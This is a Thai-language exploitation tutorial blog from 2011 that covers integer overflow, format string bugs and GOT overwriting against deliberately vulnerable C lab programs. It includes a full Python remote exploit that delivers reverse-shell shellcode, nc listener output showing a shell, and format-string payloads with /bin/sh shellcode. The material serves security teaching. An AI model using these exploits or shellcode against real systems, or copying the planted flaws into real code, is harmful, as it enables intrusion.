Sunday, April 17, 2011

Integer Overflow

ในหัวข้อนี้ เรามาดูอีกข้อผิดพลาดหนึ่งที่พบกันคือ Integer Overflow ซึ่งโดยส่วนมากที่พบคือ ปัญหาเกี่ยวกับการเปลี่ยนค่า signed (มีค่าได้ทั้งบวกและลบ) จาก unsigned (มีค่าเป็นบวกได้เท่านั้น)

ก่อนอื่น เรามาดูค่าที่น้อยที่สุด และมากที่สุดของตัวแปรแต่ละชนิดเป็นดังนี้

ชนิดMINMAX
char-128127
unsigned char0255
short-3276832767
unsigned short065535
int (32 bits)−21474836482147483647
unsigned int04294967295

รูปแบบแรกที่พบ เนื่องจากในระบบ 2's complement ที่ใช้กันอยู่ในคอมพิวเตอร์นั้น ตัวแปร char ถ้ามีค่า 127 แล้วบวกกับ 1 จะมีค่าเท่ากับ -128 ซึ่งเกิดการ overflow ของตัวเลข

อีกรูปแบบหนึ่ง ที่อาจจะเจอคือการส่ง ผ่านตัวแปรที่ function รับเป็นแบบ unsigned แต่ตอนแรกเราใช้เป็นแบบ signed เช่น

void process(char *buffer, unsigned int len)
{
    // do something
}

void foo()
{
    int len;
    char buffer[2048];

    // get data and len from somewhere

    // process data only if len is less than 2048
    if (len < 2048)
        process(buffer, (unsigned int) len);
}

จากโค้ดข้างบน จะเห็นว่า len นั้นเป็นแบบ signed int ทำให้บรรทัด "if (len < 2048)" เปรียบเทียบแบบ signed ซึ่งถ้าเราสามารถกำหนดค่า len ให้มีค่าเป็นลบได้ โปรแกรมจะเรียก process function ซึ่งมีการรับค่าเป็นแบบ unsigned int ทำให้ใน process function จะเห็นค่า len เป็นค่าที่มากกว่า 2147483647 และอาจทำให้เราสามารถควบคุมโปรแกรมได้

หมดแล้วสำหรับหลักการ Integer Overflow จะเห็นว่าเรื่องนี้จะดูง่ายๆ แต่ในความเป็นจริงแล้ว bug ประเภทนี้ ส่วนมากที่เจอ จะค่อนข้าง tricky

สำหรับตัวอย่างครั้งนี้ ผมจะทำเป็นแบบ remote exploit ซึ่งเดี๋ยวจะเห็นว่าวิธีการ exploit จะเหมือนกับ local exploit ที่ผ่านๆ มา เพียงแค่เราต้องเปลี่ยน shellcode ที่จะใช้ให้เป็นเกี่ยวกับ network เรามาดูกันเลยดีกว่า โดยผมจะแสดงในนี้เฉพาะส่วนที่สำคัญ (ex_11_1.c)

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_11_1 ex_11_1.c */
// ... include ...

char datalen, len;

void do_encrypt(char *buffer, char len)
{
    int i;
    for (i = 0; i < len; i++)
        buffer[i] ^= 0xaf;
}

void handle_client(int fd)
{
    char buffer[128]; // maximum value of char is 127

    // get data len
    if (recv(fd, &datalen, 1, 0) != 1) {
        close(fd);
        return;
    }

    len = 0;
    while (len < datalen)
        len += recv(fd, buffer + len, datalen, 0);

    do_encrypt(buffer, datalen);
    send(fd, buffer, datalen, 0);
    close(fd);
}
// ... main ...

ในส่วน main คือ code สำหรับทำตัวเองให้เป็น daemon process และคอยรับ connection ที่ port 55555 และเมื่อมี client มาต่อ จะทำการ fork แล้วเรียก handle_client function

เรามาดูการทำงานของ handle_client() กันก่อน จะเห็นโปรแกรมรับข้อมูล 1 byte จาก client เพื่อใช้สำหรับระบุว่าข้อมูลจะมีความยาวเท่าไร หลังจากนั้นทำการรับข้อมูลจาก client จนกระทั่ง len มีค่ามากว่าหรือเท่ากับ datalen หลังจากนั้นโปรแกรมจะเรียก do_encrypt function ซึ่งผมได้ใช้วิธีการ xor กับค่า 0xaf และเมื่อจบ do_encrypt function โปรแกรมจะทำการส่งข้อมูลที่รับกลับมา

ผมหวังว่าหลายๆ คนจะสังเกตเห็นปัญหาของโปรแกรมนี้แล้ว จุดที่น่าสังเกตของโปรแกรมนี้คือ

  1. เราสามารถที่จะส่งค่า datalen เป็นลบได้ แต่จะไม่มีผลกับโปรแกรม เพราะ len เริ่มต้นเป็น 0 แล้วโปรแกรมจะไม่ทำงานใดๆ
  2. len เป็นตัวแปรชนิด char ซึ่งสามารถเกิด integer overflow ได้ และเมื่อเกิด overflow ที่ recv() จะทำให้ while loop เป็นจริงและทำงานต่อ
  3. ที่ recv() ได้ระบุจำนวนข้อมูลที่จะรับ (argument ที่ 3)เป็น datalen ทำให้ถ้าข้อมูลมาครั้งแรกน้อยกว่า datalen ทำให้ครั้งต่อไปโปรแกรมอาจจะรับข้อมูลเกินที่ระบุไว้ใน datalen ซึ่งโค้ดที่ถูกต้องควรเป็น datalen - len
ดังนั้น ถ้าเราส่งค่า datalen เป็น 127 แล้วเราส่งข้อมูลครั้งแรกให้ยาว 126 bytes จะทำให้ข้อมูลที่เราส่งครั้งถัดไปสามารถเขียนเกินส่วนของ buffer ไปทับ saved eip ได้

เรามาลองส่งข้อมูลกันก่อนสักรอบดีกว่า โดยผมจะใช้ nc ในการต่อ และใช้ "\n" (Enter) สำหรับ datalen ค่า 10

$ ./ex_11_1    # สำหรับคนที่ยังไม่ได้รัน
$ nc -v 127.0.0.1 55555
Connection to 127.0.0.1 55555 port [tcp/*] succeeded!

1234567890
▒▒▒▒▒▒▒▒▒▒

โปรแกรมทำงานปกติ แต่ถ้าเราตต้องการจะ debug ละ จะเห็นว่าโปรแรมนี้ จะมีการ fork process ลูก แต่ gdb ของเราทำการ debug process แม่อยู่ วิธีการ debug ด้วย gdb คือให้คำสั่ง "set follow-fork-mode child" ทำได้ตามนี้ (หรือใส่ไว้ใน gdbinit)

$ ps -e | grep ex_11_1
 1287 ?        00:00:00 ex_11_1
$ gdb -q -p 1287
Attaching to process 1287
...
Loaded symbols for /lib/ld-linux.so.2
0x0012d422 in __kernel_vsyscall ()
(gdb) disas handle_client
...
   0x080486e5 <+121>:   mov    %eax,(%esp)
   0x080486e8 <+124>:   call   0x80484bc <recv@plt>
...
   0x080486fe <+146>:   movzbl 0x8049ac4,%edx  # len อยู่ที่ 0x8049ac4
   0x08048705 <+153>:   movzbl 0x8049ac5,%eax  # datalen อยู่ที่ 0x8049ac5
   0x0804870c <+160>:   cmp    %al,%dl
   0x0804870e <+162>:   jl     0x80486b6 <handle_client+74>
...
   0x0804871e <+178>:   lea    -0x88(%ebp),%eax  # buffer อยู่ที่ ebp-0x88
   0x08048724 <+184>:   mov    %eax,(%esp)
   0x08048727 <+187>:   call   0x8048634 <do_encrypt>
...
   0x08048762 <+246>:   leave
   0x08048763 <+247>:   ret
End of assembler dump.
(gdb) b *0x08048727
Breakpoint 1 at 0x8048727
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... เปิดอีก terminal ใช้ nc ต่อเข้ามาแบบข้างบน
[New process 1401]
[Switching to process 1401]

Breakpoint 1, 0x08048727 in handle_client ()
(gdb) x/4x $esp
0xbffff660:     0xbffff670      0x0000000a      0x0000000a      0x00000000
(gdb) x/s 0xbffff670
0xbffff670:      "1234567890)"
(gdb) c
Continuing.

Program exited normally.

หลังจาก debug โปรแกรมได้แล้ว เรามาลองเขียนโปรแกรมเล็กๆ โดยผมจะใช้ python เพื่อส่งข้อมูลที่ทำให้เกิด buffer overflow แบบที่คิดไว้ข้างบน โดยครั้งแรกจะได้

import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

s.send("A"*126)
s.close()
$ gdb -q -p 1287
...
(gdb) b *0x080486e8  # set breakpoint ที่ recv() ใน while loop
Breakpoint 1 at 0x080486e8
(gdb) condition 1 *((char*)0x8049ac4)==126  # กำหนดให้ break เมื่อ len==126
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... ต่อด้วยโปรแกรม python ที่เขียนขึ้นมา
[New process 1461]
[Switching to process 1461]

Breakpoint 1, 0x080486e8 in handle_client ()
(gdb) x/x $ebp-0x88
0xbffff670:     0x4a4a4a4a    # buffer อยู่ที่ address 0xbffff670
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x00000004      0xbffff6ee      0x0000007f      0x00000000
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x00294a4a      0x00000000      0x00000000
0xbffff6f8:     0xbffff738      0x080488a5      0x00000004      0x00000000
(gdb) ni
0x080486ed in handle_client ()
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x41414a4a      0x41414141      0x41414141
0xbffff6f8:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) d 1
(gdb) b *0x080486e8
Breakpoint 2 at 0x80486e8
(gdb) c
Continuing.

Breakpoint 2, 0x080486e8 in handle_client ()
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x41414141      0xbffff66c      0x0000007f      0x00000000
(gdb) k
Kill the program being debugged? (y or n) y

ให้สังเกตที่ arguemnt ของ recv จะเห็นว่าค่า fd จากที่ครั้งแรกเป็น 4 กลายเป็น 0x41414141 เนื่องจากเรา overwrite ค่า fd ที่เป็น argument ของ handle_client function (อยู่ใน saved eip) และทำให้ recv function จะ return -1 ดังนั้นวิธีหนึ่งที่ทำได้คือ overflow ให้เขียนทับ eip แล้วใน while loop จะลบค่า len ไปทีละ 1 จากค่าติดลบจนเป็น 127 ที่เท่ากับ datalen

แต่ถ้าโปรแกรมมีการ check ว่า recv return -1 หรือไม่ เราก็จะไม่สามารถใช้วิธีข้างบนได้ (และผมก็ไม่แสดงให้ดูนะ) แต่เราต้องทำให้ fd นั้นเป็นค่าของ socket ที่ต่ออยู่จริงๆ แล้วค่ามันคืออะไรละ โดย default ของโปรแกรม 0,1,2 เป็น stdin, stdout, stderr ตามลำดับ และ server socket ที่สร้างมาสำหรับรับ connection จาก client ก็จะเป็น 3 ดังนั้น client socket ที่ต่อใหม่ก็จะเป็น 4 และถ้าดูที่โปรแกรมตัว parent ที่ใช้รับ connection จะ close client fd ก่อน แล้วค่อยไปรับ connection ใหม่ ทำให้ client ที่ต่อใหม่อีกรอบก็ยังคงเป็น 4 และเมื่อรู้ว่าค่า client fd เป็น 4 ตลอด ดังนั้นเราสามารถเขียนทับค่านี้ด้วย 4 เพื่อให้โปรแกรมทำงานต่อได้ถูกต้อง

เมื่อเราสามารถให้โปรแกรมทำงานต่อไปได้ เรามาลองคิดดูว่าตอนนี้ len จะมีค่าเป็น 126+126=-4 ดังนั้นเราจะต้องใส่ค่าไปอีก 4+127=131 เพื่อให้โปรแกรมออกจาก while loop โดยค่าที่เราใส่เข้าไปจะไปทับข้อมูลใน buffer ที่เราส่งไปครั้งแรก ดังนั้นถ้าเราแก้ code แล้ว debug จะได้

import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

time.sleep(1)

s.send("A"*10 + "sebp" + "seip" + "\x04\x00\x00\x00" + "A"*104)
s.send("U"*131)
s.close()
$ gdb -q -p 1287
...
(gdb) b *0x8048634
Breakpoint 1 at 0x8048634
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 1500]
[Switching to process 1500]

Breakpoint 1, 0x08048634 in do_encrypt ()
(gdb) x/8x $ebp-0x88
0xbffff670:     0x55555555      0x55555555      0x55555555      0x55555555
0xbffff680:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/4x $ebp
0xbffff6f8:     0x70626573      0x70696573      0x00000004      0x41414141
(gdb) x/s $ebp
0xbffff6f8:      "sebpseip\004"

ตอนนี้เราได้ข้อมูลครบทุกอย่างสำหรับ exploit แล้ว (address ของ) เหลือเพียงแค่ shellcode โดยผมจะใช้ connect back shellcode ที่ผมเขียนไว้ใน "Linux x86 Shellcode" ซึ่งเป็นดังนี้

\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

ในโปรแกรมนี้ ไม่มี badchar แต่ข้อมูลจะถูก xor ด้วย 0xaf ก่อนจบ function ดังนั้นเวลาเราส่งข้อมูลที่ถูกเก็บใน buffer เราต้อง xor กับ 0xaf ก่อน และถ้าดูที่ assembly ของ shellcode นี้จะเห็นว่ามีการใช้ push อยู่หลายครั้ง ซึ่งหมายความว่าต้องการใช้ stack ดังนั้นเราต้องไม่ใช่ esp อยู่ใกล้ shellcode ของเราเมื่อ shellocde กำลังทำงานอยู่ โดยผมจะใช้วิธีการเพิ่ม "add $0x80, %esp" เพื่อเลื่อน stack pointer ไปให้ห่างจาก shellcode

เมื่อรวมทุกอย่างเราจะได้โปรแกรม python ดังนี้ (ex_11_1.py)

import socket
import time
from struct import pack

# shellcode address
addr = 0xbffff690

# stack adjustment (add esp, 0x80) (6 bytes)
addesp = "\x81\xc4\x80\x00\x00\x00"
# reverse shell, connect back to 127.0.0.1:5555 (67 bytes)
rsh_sc = "\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

sc = addesp + rsh_sc

# first data to be sent
payload = "\x90"*(127 - len(sc)) + sc
payload_enc = "".join([ chr(ord(c) ^ 0xaf) for c in payload ])

# connect to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

# send datalen (127)
s.send("\x7f")

# send junk 126 bytes
s.send("J"*126)

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

# send data to overwrite the eip and cause the "len" overflow (126 bytes)
# - junk 2 bytes to fill the buffer
# - junk 8 bytes
# - saved ebp 4 bytes
# - saved eip 4 bytes
# - the client_fd argv 4 bytes (4)
# - junk (126 - 17) bytes
s.send("A"*10 + "sebp" + pack("<I", addr) + pack("<I", 4) + "J"*(126 - 22))

# now "len" is overflown to be 126 + 126 = -4
# send 4 bytes to make recv buffer at the beginning again
s.send("\x00"*4)

# send the payload
s.send(payload_enc)

s.close()

ใช้ nc เพื่อ listen ที่่ port 5555 แล้ว run python โปรแกรมข้างบนจะได้

$ nc -vl 5555
Connection from 127.0.0.1 port 5555 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
exit

ทำได้แล้ว สำหรับตัวอย่างนี้อาจจะยากไปซักหน่อยสำหรับหลายๆ คน (ผมตั้งใจให้มันยากเอง ^.^) แต่ในบางครั้งเราจำเป็นต้องคิดถึงในหลายๆ เรื่อง เพื่อให้โปรแกรมทำงานต่อไปได้ ถึงแม้จะเกิด overflow ไปแล้ว เพื่อให้โปรแกรมทำงานจนถึง shellcode ที่เราใส่เข้าไป และใน application จริงอาจจะได้เจอโปรแกรมที่มีความซับซ้อนมากกว่านี้

Reference:
- http://www.phrack.org/issues.html?issue=60&id=10
- https://www.owasp.org/index.php/Integer_overflow

Thursday, April 14, 2011

Format String Bug

หลายคนคงเขียนใช้คำสั่ง printf ใน C มาแล้ว format string คือ argument ที่ชื่อว่า format ในตระกูล printf function เช่น printf, fprintf, sprintf เป็นต้น โดยคำสั่งเหล่านี้ สามารถดูรายละเอียดได้ด้วย "man 3 printf"

ฟังก์ชันในตระกูล printf จะรับ argument กี่ตัวก็ได้ โดยปกติเราจะใส่เพิ่มเท่ากับจำนวนตัวแปรที่เราใช้ใน format string เช่น

printf("%s %d %x", "Hello", 1234, 0xabcd);

format string คือ "%s %d %x" ซึ่งต้องการ argument 3 ตัว สำหรับ format string โดยวิธีการเรียก printf function จะเป็นแบบ cdecl (สำหรับคนที่ลืมว่าคืออะไร กลับไปดูได้ที่หัวข้อ Function กับ Stack) คือ argument จะส่งผ่านโดยการนำค่าลงใน stack

แต่ถ้าเราไม่ใส่ argument เพิ่มสำหรับ format string ฟังก์ชัน printf ก็ยังคงทำงานเสมือนเราส่งผ่าน argument ให้ โดยการดึงค่าของ argument ถัดไปจาก stack เรามาดูตัวอย่างกันเลยดีกว่า (ex_10_1.c) เมื่อ compile จะมี warning โดยผมจะพูดถึงทีหลัง

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_10_1 ex_10_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char buf[512];
    strncpy(buf, argv[1], 510);
    printf(buf);
    
    exit(0);
}

อ่านค่าจาก memory

ในโปรแกรมนี้ จะเห็นว่า strncpy() นี้ ไม่มีการเกิด buffer overflow แต่ในบรรทัด printf นั้นจะเห็นว่า buf คือ format string ดังนั้น input ที่เราใส่เข้าไปจะเป็น format string ดังนั้นถ้าเราลอง

$ ./ex_10_1 "test" && echo
test
$ ./ex_10_1 "%s" && echo
%s
$ ./ex_10_1 "%s%s" && echo
Segmentation fault

ทำไมเกิด "Segmentation fault" เรามาลองดูใน gdb กันดีกว่า

$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
...
   0x08048460 <+44>:    lea    0x10(%esp),%eax
   0x08048464 <+48>:    mov    %eax,(%esp)
   0x08048467 <+51>:    call   0x8048354 <printf@plt>
...
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r "%s%s"
Starting program: /home/worawit/tutz/ch10/ex_10_1 "%s%s"

Breakpoint 1, 0x08048467 in main ()
(gdb) x/4x $esp
0xbffff4f0:     0xbffff500      0xbffff8ff      0x000001fe      0x00000000
(gdb) x/s 0xbffff500     # argument ตัวที่1 ของ printf คือ format string
0xbffff500:      "%s%s"
(gdb) x/s 0xbffff8ff     # argument สำหรับ %s แรก
0xbffff8ff:      "%s%s"
(gdb) x/s 0x000001fe     # argument สำหรับ %s ตัวที่สอง
0x1fe:   <Address 0x1fe out of bounds>

จะเห็นว่า argument สำหรับ %s ตัวที่สองนั้น เป็น address ที่ไม่สามารถอ้างถึงได้ ทำให้เกิด segmentation fault ดังนั้นถ้าเราเปลี่ยนจาก %s เป็น %x เพื่อดูค่าต่างๆ ทำให้เราสามารถอ่านค่าต่างๆ ที่อยู่ใน memory ได้ เช่น

$ ./ex_10_1 "%x %x %x %x" && echo
bffff90b 1fe 0 25207825
$ ./ex_10_1 "AAAAAAAA %x %x %x %x %x %x %x %x" && echo
AAAAAAAA bffff8f6 1fe 0 41414141 41414141 20782520 25207825 78252078

จะเห็นว่า เราสามารถ dump ค่าที่อยู่ใน stack ออกมาได้ และถ้าสังเกตค่า 41414141 ค่านี้คือตัวอักษร AAAA ซึ่งเป็น string ที่โปรแกรม copy ไปไว้ใน buf

จาก man page ของ printf เราสามารถที่จะอ้างถึง argument สำหรับ format string ตัวที่ต้องการได้โดยตรง ด้วยการใช้ $ modifier เช่นถ้าเราต้องการให้ print ค่าจาก argument ตัวที่ 4 ของ format string ก็จะเป็น %4$x

$ ./ex_10_1 "AAAA %4\$x" && echo
AAAA 41414141
$ ./ex_10_1 'AAAA %5$x' && echo
AAAA 24352520

ดังนั้น เมื่อเราใช้ $ modifier จะทำให้เราสามารถอ่านค่าจาก memory ในตำแหน่งที่ต้องการได้ เช่นตัวอย่างต่อไปนี้ที่ทำการ dump ค่าออกมา

$ for(( i = 1; i < 50; i++)); do echo -n "$i " && ./ex_10_1 "AAAABBBBCCCCDDDDEEEE1234567890_%$i\$x" && echo; done
1 AAAABBBBCCCCDDDDEEEE1234567890_bffff8f4
2 AAAABBBBCCCCDDDDEEEE1234567890_1fe
3 AAAABBBBCCCCDDDDEEEE1234567890_0
4 AAAABBBBCCCCDDDDEEEE1234567890_41414141
5 AAAABBBBCCCCDDDDEEEE1234567890_42424242
6 AAAABBBBCCCCDDDDEEEE1234567890_43434343
7 AAAABBBBCCCCDDDDEEEE1234567890_44444444
8 AAAABBBBCCCCDDDDEEEE1234567890_45454545
9 AAAABBBBCCCCDDDDEEEE1234567890_34333231
10 AAAABBBBCCCCDDDDEEEE1234567890_38373635
11 AAAABBBBCCCCDDDDEEEE1234567890_255f3039
12 AAAABBBBCCCCDDDDEEEE1234567890_78243231
13 AAAABBBBCCCCDDDDEEEE1234567890_0
...

เขียนค่าลงใน memory

หลังจากอ่านค่าจาก memory ไปแล้ว คราวนี้มาดูวิธีการเขียนค่าลงใน memory บ้าง ถ้าดูที่ "conversion specifier" ใน man page จะเห็นว่าตัว n ใช้สำหรับเขียนจำนวนตัวอักษรที่แสดงผลไปแล้ว ที่ address ที่ระบุใน argument ของ format string เช่น (ex_10_2.c)

/* gcc -o ex_10_2 ex_10_2.c */
#include <stdio.h>

int main(int argc, char **argv)
{
    unsigned int num;
    printf("%s\n%n", argv[1], &num);
    printf("num is %u\n", num);
    return 0;
}
$ ./ex_10_2 a
a
num is 2
$ ./ex_10_2 ab
ab
num is 3
$ ./ex_10_2 12
12
num is 3

จะเห็นว่า num จะเท่ากับจำนวนที่ printf ได้แสดงผลไปแล้ว (รวม \n ด้วยนะครับ)

กลับไปที่ตัวอย่างแรก จะเห็นว่าตอนเรา dump ค่าออกมา จะมีค่าที่เราใส่เข้าไปอยู่ใน stack ด้วย แสดงว่าถ้าเราใส่ค่าเป็น address ของที่เราต้องการที่จะเขียน แล้วใช้ format string %n เพื่อเขียนค่าเข้าไปในตำแหน่งที่เราต้องการ แต่เราจะเขียนทับที่ไหนดีละ

จริงๆ แล้วมีอยู่หลายที่จะเขียนทับได้ แต่ผมจะแสดงการเขียนทับ GOT entry ที่เก็บ address ของ exit function เอาไว้

$ objdump -R ./ex_10_1 | grep exit
08049648 R_386_JUMP_SLOT   exit

หลังจากได้ address เรามาลองเขียนทับกัน โดยจากที่เราทดสอบข้างบน ค่าใน buf จะเริ่มเป็น argument ของ format string ที่ตัวที่ 4 ดังนั้นเวลาเราใช้ $ modifier เราต้องอ้างให้ตรงกับตำแหน่งที่เราใส่ address ของ GOT entry ลงไป

$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0000000c    # ที่เป็น 12 เพราะ \x48\x96\x04\x0812345678

เราสามารถแก้ค่าของ GOT entry ได้แล้ว แต่ถ้าจำกันได้ ปกติค่าของ stack ที่เราจะใส่ shellcode จะมีค่าเป็น 0xbf?????? ปกติเราจะใส่จำนวนตัวอักษรที่ยาวขนาดนั้นไม่ได้ แต่เราสามารถที่จะกำหนดความยาวของค่าที่จะพิมพ์ได้ (อยู่ในหัวข้อ The field width ใน man page) เช่น %10d จะพิมพ์ทั้งหมด 10 ตัวอักษร ถ้าตัวเลขยาวไม่พอก็จะ pad ด้วยช่องว่างข้างหน้า

แต่ถ้าเราใส่ค่าขนาดนั้นเพื่อที่จะ print จะพบว่าแค่ print ก็ต้องใช้เวลานานมากๆ วิธีแก้ก็คือเขียน 2 รอบเพื่อแก้ค่าทีละ 2 bytes และเพื่อความสะดวก เราสามารถที่จะใช้ length modifier ตัว h ให้เป็น %hn เพื่อเขียนทีละ 2 bytes

(gdb) r `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
... # ตัวอักษรที่ print ออกมา
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x04080208  # คิดถึงเรื่อง endian ด้วย

หลังจากทดสอบว่าเราสามารถเขียนค่าได้แล้ว เราก็ต้องมาหา address ของ shellcode เพื่อเป็นค่าที่เราจะเขียนทับ GOT entry

$ ulimit -c unlimited
$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$hn%512x%5\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
Segmentation fault (core dumped)
$ gdb -q ./ex_10_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x04080208 in ?? ()
(gdb) x/20x $esp
0xbffff46c:     0x08048478      0x00000000      0xbffff865      0x000001fe
0xbffff47c:     0x00000000      0x08049648      0x0804964a      0x32313525
0xbffff48c:     0x24342578      0x35256e68      0x25783231      0x6e682435
0xbffff49c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4ac:     0x90909090      0x90909090      0x90909090      0x90909090

ได้ address คือ 0xbffff4b0 ซึ่งจะเห็นว่าค่า 0xf4b0 (62640) นั้นมากกว่า 0xbfff (49151) ดังนั้นผมจะทำการเขียนค่าที่ 0x0804964a ก่อน ซึ่งค่าความยาวที่เราต้องใส่สำหรับ %x แรกคือ 49151 - 8 = 49143 และ %x ที่สองคือ 62640 - 49143 = 13497 ทำให้เราได้ exploit ดังนี้

$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%49143x%5\\$hn%13497x%4\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
$ 

ผ่านไปอีก 1 เทคนิค ก่อนจบกลับไปดูที่ warning ตอนแรกกันก่อน จะเห็นว่า gcc ได้มีการเตือนแล้วเราโค้ดแบบนี้ อาจจะมีปัญหาได้ ซึ่งทำให้ programmer ส่วนมากนั้น จะเจอ bug นี้ตั้งแต่ตอน compile ทำให้ bug นี้นั้น ไม่ค่อยเห็นอีกแล้วในปัจจุบัน และเรายังสามารถให้ gcc แสดงเป็น error สำหรับกรณีเฉพาะได้ด้วย -Werror=format-security

$ gcc -Werror=format-security -o test ex_10_1.c
ex_10_1.c: In function ‘main’:
ex_10_1.c:13: error: format not a string literal and no format arguments

Sunday, April 10, 2011

Overwriting GOT

Global Offset Table (GOT) คือตารางที่ใช้เก็บค่า address ของ function ต่างๆ ที่อยู่ใน Dynamic Shared Object (.so) เพื่อให้โปรแกรมหลักสามารถเรียกใช้งาน function เหล่านี้ได้

ถ้าเราลองดู assembly ของโปรแกรมด้วย gdb (ดูจากหัวข้อที่ผ่านมาก่อนได้) จะเห็นว่า function ที่เราเรียกใช้ใน libc จะมี @plt ต่อท้าย (PLT ย่อมาจาก Procedure Linkage Tble) โดย function ที่มี @plt (อยู่ใน .plt section) จะมีหน้าที่ในการหา address ของ function ที่อยู่ใน Shared Object แล้วใส่ค่าใน GOT เพื่อให้การเรียกครั้งต่อไปไม่ต้องมีการ resolve หา address ของ function ที่จะเรียกอีกรอบ (โดยปกติ เริ่มต้นโปรแกรมจะไม่มีการ resolve address ของ function ใน Shared Object จนกว่าจะมีการเรียก (Lazy Binding))

เพื่อให้เข้าใจ เรามาดูตัวอย่างกันเลยดีกว่า (ex_09_1.c)

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_09_1 ex_09_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
 char *ptr;
 char buf[512];

 ptr = buf;
 strncpy(buf, argv[1], 516);
 printf("ptr address: %p\n", ptr);
 strncpy(ptr, argv[2], 4);
 printf("ptr address: %p\n", ptr);

 return 0;
}

เมื่อเราลอง disassemble main function จะเห็น strncpy@plt กับ printf@plt ตามนี้

$ gdb -q ./ex_09_1
Reading symbols from /home/worawit/tutz/ch09/ex_09_1...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483f4 <+0>:     push   %ebp
...
   0x08048423 <+47>:    mov    %eax,(%esp)
   0x08048426 <+50>:    call   0x8048310 <strncpy@plt>
   0x0804842b <+55>:    mov    $0x8048550,%eax
   0x08048430 <+60>:    mov    0x21c(%esp),%edx
   0x08048437 <+67>:    mov    %edx,0x4(%esp)
   0x0804843b <+71>:    mov    %eax,(%esp)
   0x0804843e <+74>:    call   0x8048330 <printf@plt>
...
   0x0804845e <+106>:   mov    %eax,(%esp)
   0x08048461 <+109>:   call   0x8048310 <strncpy@plt>
   0x08048466 <+114>:   mov    $0x8048550,%eax
   0x0804846b <+119>:   mov    0x21c(%esp),%edx
   0x08048472 <+126>:   mov    %edx,0x4(%esp)
   0x08048476 <+130>:   mov    %eax,(%esp)
   0x08048479 <+133>:   call   0x8048330 <printf@plt>
   0x0804847e <+138>:   mov    $0x0,%eax
   0x08048483 <+143>:   leave
   0x08048484 <+144>:   ret
End of assembler dump.

